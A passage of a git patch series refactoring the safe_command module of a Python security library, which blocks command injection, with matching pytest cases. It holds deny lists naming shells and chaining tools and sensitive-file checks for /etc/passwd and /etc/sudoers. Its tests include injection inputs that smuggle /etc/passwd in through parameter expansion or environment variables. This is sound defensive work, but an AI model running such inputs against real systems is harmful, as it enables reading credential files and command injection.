check_banned_executable_in_expanded_command(expanded_command: str) -> None: + for banned_executable in BANNED_EXECUTABLES: + # Handles edge cases when a banned executable is part of a command but the path could not be resolved + if (expanded_command.startswith(f"{banned_executable} ") + or f"bin/{banned_executable}" in expanded_command + or f" {banned_executable} " in expanded_command + ): raise SecurityException( - f"Multiple commands not allowed. Process substitution operators found.") + f"Disallowed command: {banned_executable}") - if cmd_part.strip() in BANNED_COMMAND_CHAINING_EXECUTABLES | COMMON_SHELLS: - raise SecurityException( - f"Multiple commands not allowed. Executable {cmd_part} allows command chaining.") + +# Parsed Command (cmd_part) checks +def check_multiple_commands(cmd_part: str) -> None: + if any(seperator in cmd_part for seperator in BANNED_COMMAND_CHAINING_SEPARATORS): + raise SecurityException( + f"Multiple commands not allowed. Separators found.") + + if any(substitution_op in cmd_part for substitution_op in BANNED_COMMAND_AND_PROCESS_SUBSTITUTION_OPERATORS): + raise SecurityException( + f"Multiple commands not allowed. Process substitution operators found.") + + if cmd_part.strip() in BANNED_COMMAND_CHAINING_EXECUTABLES | COMMON_SHELLS: + raise SecurityException( + f"Multiple commands not allowed. Executable {cmd_part} allows command chaining.") -def check_sensitive_files(expanded_command: str, abs_path_strings: Set[str]) -> None: +# Path string checks +def check_path_is_sensitive_file(path_string: str) -> None: for sensitive_path in SENSITIVE_FILE_PATHS: - # First check the absolute path strings for the sensitive files - # Then handle edge cases when a sensitive file is part of a command but the path could not be resolved - if ( - any(abs_path_string.endswith(sensitive_path) - for abs_path_string in abs_path_strings) - or sensitive_path in expanded_command - ): + # Check if the absolute path is a sensitive file + if path_string.endswith(sensitive_path): raise SecurityException( f"Disallowed access to sensitive file: {sensitive_path}") -def check_banned_executable(expanded_command: str, abs_path_strings: Set[str]) -> None: +def check_path_is_banned_executable(path_string: str) -> None: for banned_executable in BANNED_EXECUTABLES: - # First check the absolute path strings for the banned executables - # Then handle edge cases when a banned executable is part of a command but the path could not be resolved - if ( - any((abs_path_string.endswith( - f"/{banned_executable}") for abs_path_string in abs_path_strings)) - or expanded_command.startswith(f"{banned_executable} ") - or f"bin/{banned_executable}" in expanded_command - or f" {banned_executable} " in expanded_command - ): + # Check if the absolute path string is a banned executable + if path_string.endswith(f"/{banned_executable}"): raise SecurityException( f"Disallowed command: {banned_executable}") +# Path checks def check_path_type(path: Path) -> None: for pathtype in BANNED_PATHTYPES: if getattr(path, f"is_{pathtype}")(): @@ -631,14 +657,14 @@ def check_path_type(path: Path) -> None: f"Disallowed access to path type {pathtype}: {path}") -def check_file_owner(path: Path) -> None: +def check_path_owner(path: Path) -> None: owner = path.owner() if owner in BANNED_OWNERS: raise SecurityException( f"Disallowed access to file owned by {owner}: {path}") -def check_file_group(path: Path) -> None: +def check_path_group(path: Path) -> None: group = path.group() if group in BANNED_GROUPS: raise SecurityException( diff --git a/tests/safe_command/test_injection.py b/tests/safe_command/test_injection.py index 2a4cf14..14e0feb 100644 --- a/tests/safe_command/test_injection.py +++ b/tests/safe_command/test_injection.py @@ -1,11 +1,11 @@ import pytest import subprocess from pathlib import Path -from os import mkfifo, symlink, remove, getenv +from os import mkfifo, symlink, remove, getenv, listdir from shutil import which from security import safe_command -from security.safe_command.api import _parse_command, _resolve_paths_in_parsed_command, _shell_expand +from security.safe_command.api import _validate_and_expand_command, _recursive_shlex_split, _resolve_paths_in_command_part, _shell_expand from security.exceptions import SecurityException with (Path(__file__).parent / "fuzzdb" / "command-injection-template.txt").open() as f: @@ -38,10 +38,29 @@ def setup_teardown(tmpdir): cwd_testfile.touch() fifo_testfile = (wd / "fifo_testfile").resolve() mkfifo(fifo_testfile) - symlink_testfile = (wd / "symlink_testfile").resolve() - symlink(cwd_testfile, symlink_testfile) # Target of symlink_testfile is cwd_testfile.txt + passwd = Path("/etc/passwd").resolve() sudoers = Path("/etc/sudoers").resolve() + + symlink_to_cwd_testfile = (wd / "symlink_to_cwd_testfile").resolve() + symlink(cwd_testfile, symlink_to_cwd_testfile) # Target of symlink_to_cwd_testfile is cwd_testfile.txt + + # Directory with a symlink to passwd + symlink_testdir = wd / "symlink_testdir" + symlink_testdir.mkdir() + symlink_to_passwd = symlink_testdir / "symlink_to_passwd" + symlink(passwd, symlink_to_passwd) + + # Symlink to a directory with a symlink + symlink_to_symlink_testdir = wd / "symlink_to_symlink_testdir" + symlink(symlink_testdir, symlink_to_symlink_testdir) + + # Directory with a symlink to a symlink to symlink passwd + nested_symlink_testdir = wd / "nested_symlink_testdir" + nested_symlink_testdir.mkdir() + symlink_to_symlink_to_passwd = nested_symlink_testdir / "symlink_to_symlink_to_passwd" + symlink(symlink_to_passwd, symlink_to_symlink_to_passwd) + # Get Path objects for the test commands cat, echo, grep, nc, curl, sh = map(lambda cmd: Path(which(cmd) or f"/usr/bin/{cmd}" ), ["cat", "echo", "grep", "nc", "curl", "sh"]) testpaths = { @@ -53,9 +72,14 @@ def setup_teardown(tmpdir): "space_in_name": space_in_name, "cwd_testfile": cwd_testfile, "fifo_testfile": fifo_testfile, - "symlink_testfile": symlink_testfile, + "symlink_to_cwd_testfile": symlink_to_cwd_testfile, "passwd": passwd, "sudoers": sudoers, + "symlink_testdir": symlink_testdir, + "nested_symlink_testdir": nested_symlink_testdir, + "symlink_to_passwd": symlink_to_passwd, + "symlink_to_symlink_to_passwd": symlink_to_symlink_to_passwd, + "symlink_to_symlink_testdir": symlink_to_symlink_testdir, "cat": cat, "echo": echo, "grep": grep, @@ -93,9 +117,12 @@ class TestSafeCommandInternals: ("echo test1 test2 test3 > test.txt", ["echo", "test1", "test2", "test3", ">", "test.txt"], ["echo", "test1", "test2", "test3", ">", "test.txt"]), ] ) - def test_parse_command(self, str_cmd, list_cmd, expected_parsed_command, setup_teardown): - expanded_str_cmd, parsed_str_cmd = _parse_command(str_cmd) - expanded_list_cmd, parsed_list_cmd = _parse_command(list_cmd) + def test_parse_command(self, str_cmd, list_cmd, expected_parsed_command): + expanded_str_cmd = _validate_and_expand_command(str_cmd) + expanded_list_cmd = _validate_and_expand_command(list_cmd) + parsed_str_cmd = list(_recursive_shlex_split(expanded_str_cmd)) + parsed_list_cmd = list(_recursive_shlex_split(expanded_list_cmd)) + assert expanded_str_cmd == expanded_list_cmd assert parsed_str_cmd == parsed_list_cmd == expected_parsed_command @@ -122,7 +149,18 @@ def test_parse_command(self, str_cmd, list_cmd, expected_parsed_command, setup_t # Check fifo and symlink ("cat {fifo_testfile}", {"cat", "fifo_testfile"}), # Symlink should resolve to cwdtest.txt so should get the symlink and the target - ("cat {symlink_testfile}", {"cat", "symlink_testfile", "cwd_testfile"},), + ("cat {symlink_to_cwd_testfile}", {"cat", "symlink_to_cwd_testfile", "cwd_testfile"},), + # symlink_to_passwd should resolve to passwd so should get the symlink and the target + ("cat {symlink_to_passwd}", {"cat", "symlink_to_passwd", "passwd"}), + # Returns the original symlink and the target but NOT the intermediate symlink + ("cat {symlink_to_symlink_to_passwd}", {"cat", "symlink_to_symlink_to_passwd", "passwd"}), + # Returns the dir, the symlink in the dir, and the target + ("grep '.+' -r {symlink_testdir}", {"grep", "symlink_testdir", "symlink_to_passwd", "passwd"}), + # Returns the symlink to the dir, the dir, the symlink in the dir and the target + ("grep '.+' -r {symlink_to_symlink_testdir}", {"grep", "symlink_to_symlink_testdir", "symlink_testdir", "symlink_to_passwd", "passwd"}), + # Returns the dir, the symlink in the dir, and the target but NOT the intermediate symlink + ("grep '.+' -r {nested_symlink_testdir}", {"grep", "nested_symlink_testdir", "symlink_to_symlink_to_passwd", "passwd"}), + # Check a command with binary name as an argument ("echo 'cat' {test.txt}", {"echo", "cat", "test.txt"}), # Command has a directory so should get the dir and all the subfiles and resolved symlink to cwdtest.txt @@ -138,11 +176,14 @@ def test_resolve_paths_in_parsed_command(self, command, expected_paths, setup_te command = insert_testpaths(command, testpaths) expected_paths = {testpaths[p] for p in expected_paths} - expanded_command, parsed_command = _parse_command(command) - abs_paths, abs_path_strings = _resolve_paths_in_parsed_command(parsed_command) + expanded_command = _validate_and_expand_command(command) + abs_paths = set() + for cmd_part in _recursive_shlex_split(expanded_command): + for path in _resolve_paths_in_command_part(cmd_part): + abs_paths.add(path) + assert abs_paths == expected_paths - assert abs_path_strings == {str(p) for p in expected_paths} - + @pytest.mark.parametrize( "string, expanded_str", @@ -326,6 +367,7 @@ def test_banned_shell_expansion(self, string): "PREVENT_COMMON_EXPLOIT_EXECUTABLES": SecurityException("Disallowed command"), "PREVENT_UNCOMMON_PATH_TYPES": SecurityException("Disallowed access to path type"), "PREVENT_ADMIN_OWNED_FILES": SecurityException("Disallowed access to file owned by"), + "MAX_RESOLVED_PATHS": SecurityException("Exceeded maximum number of resolved paths"), "ANY": SecurityException("Any Security exception") } @@ -525,9 +567,9 @@ def test_check_banned_executable(self, command, original_func, setup_teardown): "command", [ "cat {fifo_testfile}", - "cat {symlink_testfile}", + "cat {symlink_to_cwd_testfile}", ["cat", "{fifo_testfile}"], - ["cat", "{symlink_testfile}"], + ["cat", "{symlink_to_cwd_testfile}"], ] ) def test_check_path_type(self, command, original_func, setup_teardown): @@ -643,6 +685,66 @@ def test_popen_kwargs(self, command, expected_result, popen_kwargs, original_fun self._run_test_with_command(command, expected_result, restrictions, original_func, **popen_kwargs) + @pytest.mark.parametrize( + "command, max_resolved_paths, rglob_dirs, expected_result", + [ + ("ls -a / ", 1000, True, EXCEPTIONS["MAX_RESOLVED_PATHS"]), + # Should not raise a MAX_RESOLVED_PATHS exception because the rglob_dirs kwarg is set to False + ("ls -a / ", 1000, False, '\n'.join(sorted([".", ".."] + listdir("/")))), + + # Should raise a MAX_RESOLVED_PATHS max_resolved_paths is 1 which is less than the number of files in /etc regardless of whether rglob_dirs is True or False + ("ls -a /etc ", 1, True, EXCEPTIONS["MAX_RESOLVED_PATHS"]), + ("ls -a /etc ", 1, False, EXCEPTIONS["MAX_RESOLVED_PATHS"]), + + # Should raise a MAX_RESOLVED_PATHS exception since max_resolved_paths is 0 and the command has 1 resolved path even when rglob_dirs is False + ("ls -a /etc/ ", 0, True, EXCEPTIONS["MAX_RESOLVED_PATHS"]), + ("ls -a /etc/ ", 0, False, EXCEPTIONS["MAX_RESOLVED_PATHS"]), + + # Should not raise a MAX_RESOLVED_PATHS exception since there is no max_resolved_paths + # but should raise a PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES exception since /etc/ contains sensitive files + ("ls -a /etc ", -1, True, EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"]), + # Should not raise either exception since there is no max_resolved_paths and etc/passwd is not resolved since rglob_dirs is False + ("ls -a /etc ", -1, False, '\n'.join(sorted([".", ".."] + listdir("/etc")))), + ("ls -a /etc/ ", -1, False, '\n'.join(sorted([".", ".."] + listdir("/etc/")))), + + #Same as above but with globbing + ("ls -a ////e*c ", 1, True, EXCEPTIONS["MAX_RESOLVED_PATHS"]), + ("ls -a ////e*c ", 1, False, EXCEPTIONS["MAX_RESOLVED_PATHS"]), + ("ls -a ////e*c// ", 0, True, EXCEPTIONS["MAX_RESOLVED_PATHS"]), + ("ls -a ////e*c// ", 0, False, EXCEPTIONS["MAX_RESOLVED_PATHS"]), + ("ls -a ////e*c ", -1, True, EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"]), + ("ls -a ////e*c ", -1, False, '\n'.join(sorted([".", ".."] + listdir("/etc")))), + ("ls -a ////e*c/// ", -1, False, '\n'.join(sorted([".", ".."] + listdir("/etc/")))), + + # Each of these should raise a MAX_RESOLVED_PATHS exception since max_resolved_paths is 1 less than the number of resolved paths + ("cat {symlink_to_cwd_testfile}", 2, True, EXCEPTIONS["MAX_RESOLVED_PATHS"]), + # symlink_to_passwd should resolve to passwd so should get the symlink and the target (3 resolved paths) + ("cat {symlink_to_passwd}", 2, True, EXCEPTIONS["MAX_RESOLVED_PATHS"]), + # Resolves the executable, the original symlink and the target but NOT the intermediate symlink (3 resolved paths) + ("cat {symlink_to_symlink_to_passwd}", 2, True, EXCEPTIONS["MAX_RESOLVED_PATHS"]), + # Resolves the executable, the dir, the symlink in the dir, and the target (4 resolved paths) + ("grep '.+' -r {symlink_testdir}", 3, True, EXCEPTIONS["MAX_RESOLVED_PATHS"]), + # Resolves the executable, the symlink to the dir, the dir, the symlink in the dir and the target (5 resolved paths) + ("grep '.+' -r {symlink_to_symlink_testdir}", 4, True, EXCEPTIONS["MAX_RESOLVED_PATHS"]), + # Resolves the executable, the dir, the symlink in the dir, and the target but NOT the intermediate symlink (4 resolved paths) + ("grep '.+' -r {nested_symlink_testdir}", 3, True, EXCEPTIONS["MAX_RESOLVED_PATHS"]), + ] + ) + def test_max_resolved_paths(self, command, max_resolved_paths, rglob_dirs, expected_result, original_func, setup_teardown): + if original_func.__name__ == "call": + # call doesn't have capture_output kwarg so can't compare result and easier to just return than refactor + return + + testpaths = setup_teardown + command = insert_testpaths(command, testpaths) + expected_result = insert_testpaths(expected_result, testpaths) + + restrictions = [ + "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES", + ] + self._run_test_with_command(command, expected_result, restrictions, original_func, rglob_dirs=rglob_dirs, max_resolved_paths=max_resolved_paths) + + # FUZZDB tests @pytest.mark.parametrize( "command", From 8c12b667c4b8343493e7fab0355aa07fee99b747 Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Wed, 6 Mar 2024 16:43:23 -0800 Subject: [PATCH 16/19] cleanup comments --- src/security/safe_command/api.py | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) diff --git a/src/security/safe_command/api.py b/src/security/safe_command/api.py index fa55fd9..8c84bba 100644 --- a/src/security/safe_command/api.py +++ b/src/security/safe_command/api.py @@ -492,7 +492,8 @@ def _recursive_resolve_symlinks(path: Path, rglob_dirs: bool = True) -> Iterator for file in path.rglob("*"): yield from _recursive_resolve_symlinks(file, rglob_dirs) else: - # a final .resolve is needed to handle files like /private/etc/passwd on MacOS which behave like symlinks but are not according to Path.is_symlink + # a final .resolve is needed to handle files like /etc/passwd on MacOS which behaves + # like a symlink to /private/etc/passwd but is not a symlink according to Path.is_symlink yield path.resolve() @@ -520,6 +521,7 @@ def check(command: ValidCommand, max_resolved_paths: int = 10000, rglob_dirs: bool = True, **Popen_kwargs) -> None: + if not restrictions: # No restrictions no checks return None @@ -547,16 +549,14 @@ def check(command: ValidCommand, # Create local bools for each restriction to avoid membership check each iteration prevent_uncommon_path_types = "PREVENT_UNCOMMON_PATH_TYPES" in restrictions prevent_admin_owned_files = "PREVENT_ADMIN_OWNED_FILES" in restrictions - - # Then check the parsed command parts for the restrictions if the expanded command passes - parsed_command = _recursive_shlex_split(expanded_command) - + # Determine if path resolution is needed based on the restrictions check_path_string = prevent_sensitive_files or prevent_common_exploit_executables resolve_paths = check_path_string or prevent_uncommon_path_types or prevent_admin_owned_files - + + # Then check the parsed command cmd_parts for the restrictions if the expanded command passes checks num_resolved_paths = 0 - for cmd_part in parsed_command: + for cmd_part in _recursive_shlex_split(expanded_command): if prevent_command_chaining: check_multiple_commands(cmd_part) @@ -576,7 +576,7 @@ def check(command: ValidCommand, if prevent_common_exploit_executables: check_path_is_banned_executable(path_string) - if not executable_path and num_resolved_paths == 1: + if not executable_path: # If the executable is not set by the Popen kwargs it is the first command part (args). see subprocess.py line 1596 executable_path = path # continue to avoid blocking the executable itself since most are symlinks to the actual executable and owned by root with group wheel or sudo @@ -599,8 +599,7 @@ def check_newline_in_expanded_command(expanded_command: str) -> None: def check_sensitive_files_in_expanded_command(expanded_command: str) -> None: for sensitive_path in SENSITIVE_FILE_PATHS: - # First check the absolute path strings for the sensitive files - # Then handle edge cases when a sensitive file is part of a command but the path could not be resolved + # Handles edge cases when a sensitive file is part of a command but the path could not be resolved if sensitive_path in expanded_command: raise SecurityException( f"Disallowed access to sensitive file: {sensitive_path}") From a8921a6bd0ec39a0a5f7fc43f79e61ecf365781d Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Wed, 6 Mar 2024 17:11:27 -0800 Subject: [PATCH 17/19] Improve readability. (Underlying check logic unchanged) --- src/security/safe_command/api.py | 40 +++++++++++++++----------------- 1 file changed, 19 insertions(+), 21 deletions(-) diff --git a/src/security/safe_command/api.py b/src/security/safe_command/api.py index 8c84bba..e086a0f 100644 --- a/src/security/safe_command/api.py +++ b/src/security/safe_command/api.py @@ -551,8 +551,10 @@ def check(command: ValidCommand, prevent_admin_owned_files = "PREVENT_ADMIN_OWNED_FILES" in restrictions # Determine if path resolution is needed based on the restrictions - check_path_string = prevent_sensitive_files or prevent_common_exploit_executables - resolve_paths = check_path_string or prevent_uncommon_path_types or prevent_admin_owned_files + resolve_paths = (prevent_sensitive_files + or prevent_common_exploit_executables + or prevent_uncommon_path_types + or prevent_admin_owned_files) # Then check the parsed command cmd_parts for the restrictions if the expanded command passes checks num_resolved_paths = 0 @@ -569,18 +571,17 @@ def check(command: ValidCommand, raise SecurityException( f"Exceeded maximum number of resolved paths: {max_resolved_paths}") - if check_path_string: - path_string = str(path) - if prevent_sensitive_files: - check_path_is_sensitive_file(path_string) - if prevent_common_exploit_executables: - check_path_is_banned_executable(path_string) + if prevent_sensitive_files: + check_path_is_sensitive_file(path) + if prevent_common_exploit_executables: + check_path_is_banned_executable(path) if not executable_path: # If the executable is not set by the Popen kwargs it is the first command part (args). see subprocess.py line 1596 executable_path = path # continue to avoid blocking the executable itself since most are symlinks to the actual executable and owned by root with group wheel or sudo continue + if prevent_uncommon_path_types: check_path_type(path) if prevent_admin_owned_files: @@ -631,8 +632,10 @@ def check_multiple_commands(cmd_part: str) -> None: f"Multiple commands not allowed. Executable {cmd_part} allows command chaining.") -# Path string checks -def check_path_is_sensitive_file(path_string: str) -> None: +# Path checks +def check_path_is_sensitive_file(path: Path) -> None: + # Convert to string and check endswith so /private/etc/passwd on mac and /etc/passwd on linux are handled the same + path_string = str(path) for sensitive_path in SENSITIVE_FILE_PATHS: # Check if the absolute path is a sensitive file if path_string.endswith(sensitive_path): @@ -640,15 +643,12 @@ def check_path_is_sensitive_file(path_string: str) -> None: f"Disallowed access to sensitive file: {sensitive_path}") -def check_path_is_banned_executable(path_string: str) -> None: - for banned_executable in BANNED_EXECUTABLES: - # Check if the absolute path string is a banned executable - if path_string.endswith(f"/{banned_executable}"): - raise SecurityException( - f"Disallowed command: {banned_executable}") +def check_path_is_banned_executable(path: Path) -> None: + if (banned_executable := path.name) in BANNED_EXECUTABLES: + raise SecurityException( + f"Disallowed command: {banned_executable}") -# Path checks def check_path_type(path: Path) -> None: for pathtype in BANNED_PATHTYPES: if getattr(path, f"is_{pathtype}")(): @@ -657,14 +657,12 @@ def check_path_type(path: Path) -> None: def check_path_owner(path: Path) -> None: - owner = path.owner() - if owner in BANNED_OWNERS: + if (owner := path.owner()) in BANNED_OWNERS: raise SecurityException( f"Disallowed access to file owned by {owner}: {path}") def check_path_group(path: Path) -> None: - group = path.group() - if group in BANNED_GROUPS: + if (group := path.group()) in BANNED_GROUPS: raise SecurityException( f"Disallowed access to file owned by {group}: {path}") From 21b9deded258e12ee2c50214a52b98faf7807aa6 Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Thu, 7 Mar 2024 09:24:24 -0800 Subject: [PATCH 18/19] Same check logic but more verbose readable code. Split BANNED_COMMAND_CHAINING_ARGUMENTS from BANNED_COMMAND_CHAINING_EXECUTABLES. Add -ok -okdir system( (for awk and similar) to BANNED_COMMAND_CHAINING_ARGUMENTS Refactor check_path_is_chaining_executable and check_path_is_shell to path checks. --- src/security/safe_command/api.py | 38 +++++++++++++++++++------------- 1 file changed, 23 insertions(+), 15 deletions(-) diff --git a/src/security/safe_command/api.py b/src/security/safe_command/api.py index e086a0f..1c5c2e1 100644 --- a/src/security/safe_command/api.py +++ b/src/security/safe_command/api.py @@ -43,12 +43,13 @@ BANNED_COMMAND_AND_PROCESS_SUBSTITUTION_OPERATORS = frozenset( ("$(", "`", "<(", ">(")) BANNED_COMMAND_CHAINING_EXECUTABLES = frozenset(( - "eval", "exec", "-exec", "env", "source", "sudo", "su", "gosu", "sudoedit", + "eval", "exec", "env", "source", "sudo", "su", "gosu", "sudoedit", "xargs", "awk", "perl", "python", "ruby", "php", "lua", "sqlplus", "expect", "screen", "tmux", "byobu", "byobu-ugraph", "time", "nohup", "at", "batch", "anacron", "cron", "crontab", "systemctl", "service", "init", "telinit", "systemd", "systemd-run" )) +BANNED_COMMAND_CHAINING_ARGUMENTS = frozenset(("-exec", "-execdir", "-ok", "-okdir", "system(")) COMMON_SHELLS = frozenset(("sh", "bash", "zsh", "csh", "rsh", "tcsh", "tclsh", "ksh", "dash", "ash", "jsh", "jcsh", "mksh", "wsh", "fish", "busybox", "powershell", "pwsh", "pwsh-preview", "pwsh-lts")) @@ -528,7 +529,7 @@ def check(command: ValidCommand, # venv is a copy to avoid modifying the original Popen_kwargs or None to default to using os.environ when env is not set venv = dict(**Popen_env) if (Popen_env := Popen_kwargs.get("env")) is not None else None - + # Check if the executable is set by the Popen Popen_kwargs (either executable or shell) # Executable takes precedence over shell. see subprocess.py line 1593 executable_path = _resolve_executable_path(Popen_kwargs.get("executable"), venv) @@ -549,28 +550,23 @@ def check(command: ValidCommand, # Create local bools for each restriction to avoid membership check each iteration prevent_uncommon_path_types = "PREVENT_UNCOMMON_PATH_TYPES" in restrictions prevent_admin_owned_files = "PREVENT_ADMIN_OWNED_FILES" in restrictions - - # Determine if path resolution is needed based on the restrictions - resolve_paths = (prevent_sensitive_files - or prevent_common_exploit_executables - or prevent_uncommon_path_types - or prevent_admin_owned_files) - + # Then check the parsed command cmd_parts for the restrictions if the expanded command passes checks num_resolved_paths = 0 for cmd_part in _recursive_shlex_split(expanded_command): + if prevent_command_chaining: check_multiple_commands(cmd_part) - if not resolve_paths: - continue - for path in _resolve_paths_in_command_part(cmd_part, venv, rglob_dirs): num_resolved_paths += 1 if max_resolved_paths >= 0 and num_resolved_paths > max_resolved_paths: raise SecurityException( f"Exceeded maximum number of resolved paths: {max_resolved_paths}") - + + if prevent_command_chaining: + check_path_is_chaining_executable(path) + check_path_is_shell(path) if prevent_sensitive_files: check_path_is_sensitive_file(path) if prevent_common_exploit_executables: @@ -627,12 +623,24 @@ def check_multiple_commands(cmd_part: str) -> None: raise SecurityException( f"Multiple commands not allowed. Process substitution operators found.") - if cmd_part.strip() in BANNED_COMMAND_CHAINING_EXECUTABLES | COMMON_SHELLS: + if cmd_part.strip() in BANNED_COMMAND_CHAINING_ARGUMENTS: raise SecurityException( - f"Multiple commands not allowed. Executable {cmd_part} allows command chaining.") + f"Multiple commands not allowed. Argument {cmd_part} allows command chaining.") # Path checks +def check_path_is_chaining_executable(path: Path) -> None: + if (banned_chaining_executable := path.name) in BANNED_COMMAND_CHAINING_EXECUTABLES: + raise SecurityException( + f"Multiple commands not allowed. Executable {banned_chaining_executable} allows command chaining.") + + +def check_path_is_shell(path: Path) -> None: + if (shell := path.name) in COMMON_SHELLS: + raise SecurityException( + f"Multiple commands not allowed. Shell {shell} allows command chaining.") + + def check_path_is_sensitive_file(path: Path) -> None: # Convert to string and check endswith so /private/etc/passwd on mac and /etc/passwd on linux are handled the same path_string = str(path) From 939293e76ac174848d16582bf243832d6d02eed7 Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Tue, 12 Mar 2024 19:10:16 -0700 Subject: [PATCH 19/19] Fix sonarcloud Intentionality & Consistency issues from last PR https://sonarcloud.io/project/issues?open=AY4rNwVcynvJrFFtuQvF&id=pixee_python-security - Remove or correct this useless self-assignment. - Use concise character class syntax '\w' instead of '[a-zA-Z0-9_]'. - Add replacement fields or use a normal string instead of an f-string. - Replace the unused local variable expanded_command with _. - Rename this local variable Popen_env to match the regular expression ^[_a-z][a-z0-9_]*$. --- src/security/safe_command/api.py | 23 +++++++++++------------ tests/safe_command/test_injection.py | 2 +- 2 files changed, 12 insertions(+), 13 deletions(-) diff --git a/src/security/safe_command/api.py b/src/security/safe_command/api.py index 1c5c2e1..8cca354 100644 --- a/src/security/safe_command/api.py +++ b/src/security/safe_command/api.py @@ -268,7 +268,7 @@ def _shell_expand(command: str, venv: Optional[dict] = None) -> str: """ PARAM_EXPANSION_REGEX = re_compile( - r'(?P\$(?P[a-zA-Z_][a-zA-Z0-9_]*|\{[^{}\$]+?\}))') + r'(?P\$(?P[a-zA-Z_]\w*|\{[^{}\$]+?\}))') BRACE_EXPANSION_REGEX = re_compile( r'(?P\S*(?P\{[^{}\$]+?\})\S*)') @@ -326,8 +326,6 @@ def _shell_expand(command: str, venv: Optional[dict] = None) -> str: value = _get_env_var_value(var, venv, default="") if start_slice is not None: value = value[start_slice:end_slice] - elif not operator or operator == "?": - value = value elif operator in "-=": value = value or default if operator == "=": @@ -335,6 +333,7 @@ def _shell_expand(command: str, venv: Optional[dict] = None) -> str: venv[var] = value elif operator == "+": value = default if value else "" + # value = value when operator is ? or there is no operator command = command.replace(full_expansion, value, 1) @@ -521,19 +520,19 @@ def check(command: ValidCommand, restrictions: ValidRestrictions, max_resolved_paths: int = 10000, rglob_dirs: bool = True, - **Popen_kwargs) -> None: + **popen_kwargs) -> None: if not restrictions: # No restrictions no checks return None - # venv is a copy to avoid modifying the original Popen_kwargs or None to default to using os.environ when env is not set - venv = dict(**Popen_env) if (Popen_env := Popen_kwargs.get("env")) is not None else None + # venv is a copy to avoid modifying the original popen_kwargs or None to default to using os.environ when env is not set + venv = dict(**popen_env) if (popen_env := popen_kwargs.get("env")) is not None else None - # Check if the executable is set by the Popen Popen_kwargs (either executable or shell) + # Check if the executable is set by the popen popen_kwargs (either executable or shell) # Executable takes precedence over shell. see subprocess.py line 1593 - executable_path = _resolve_executable_path(Popen_kwargs.get("executable"), venv) - shell = executable_path.name in COMMON_SHELLS if executable_path else Popen_kwargs.get("shell") + executable_path = _resolve_executable_path(popen_kwargs.get("executable"), venv) + shell = executable_path.name in COMMON_SHELLS if executable_path else popen_kwargs.get("shell") if not (expanded_command := _validate_and_expand_command(command, venv, shell)): # Empty commands are safe @@ -573,7 +572,7 @@ def check(command: ValidCommand, check_path_is_banned_executable(path) if not executable_path: - # If the executable is not set by the Popen kwargs it is the first command part (args). see subprocess.py line 1596 + # If the executable is not set by the popen kwargs it is the first command part (args). see subprocess.py line 1596 executable_path = path # continue to avoid blocking the executable itself since most are symlinks to the actual executable and owned by root with group wheel or sudo continue @@ -617,11 +616,11 @@ def check_banned_executable_in_expanded_command(expanded_command: str) -> None: def check_multiple_commands(cmd_part: str) -> None: if any(seperator in cmd_part for seperator in BANNED_COMMAND_CHAINING_SEPARATORS): raise SecurityException( - f"Multiple commands not allowed. Separators found.") + "Multiple commands not allowed. Separators found.") if any(substitution_op in cmd_part for substitution_op in BANNED_COMMAND_AND_PROCESS_SUBSTITUTION_OPERATORS): raise SecurityException( - f"Multiple commands not allowed. Process substitution operators found.") + "Multiple commands not allowed. Process substitution operators found.") if cmd_part.strip() in BANNED_COMMAND_CHAINING_ARGUMENTS: raise SecurityException( diff --git a/tests/safe_command/test_injection.py b/tests/safe_command/test_injection.py index 14e0feb..61ac2c9 100644 --- a/tests/safe_command/test_injection.py +++ b/tests/safe_command/test_injection.py @@ -645,7 +645,7 @@ def test_valid_commands_not_blocked(self, command, expected_result, original_fun ("echo $HOME", "/Users/TESTHOME", {"env": {"HOME": "/Users/TESTHOME"}, "shell": True}), ("echo $HOME", EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"], {"env": {"HOME": "/etc/passwd"}, "shell": True}), (["/bin/echo $HOME/somefile/"], f"{str(Path.home())}/somefile/", {"shell": True}), - (["/bin/echo", "$HOME/somefile/"], f"$HOME/somefile/", {"shell": False}), + (["/bin/echo", "$HOME/somefile/"], "$HOME/somefile/", {"shell": False}), # Should only raise exception if shell is True or executable is a shell (["/bin/cat /etc/${BADKEY:-passwd}"], EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"], {"shell": True}),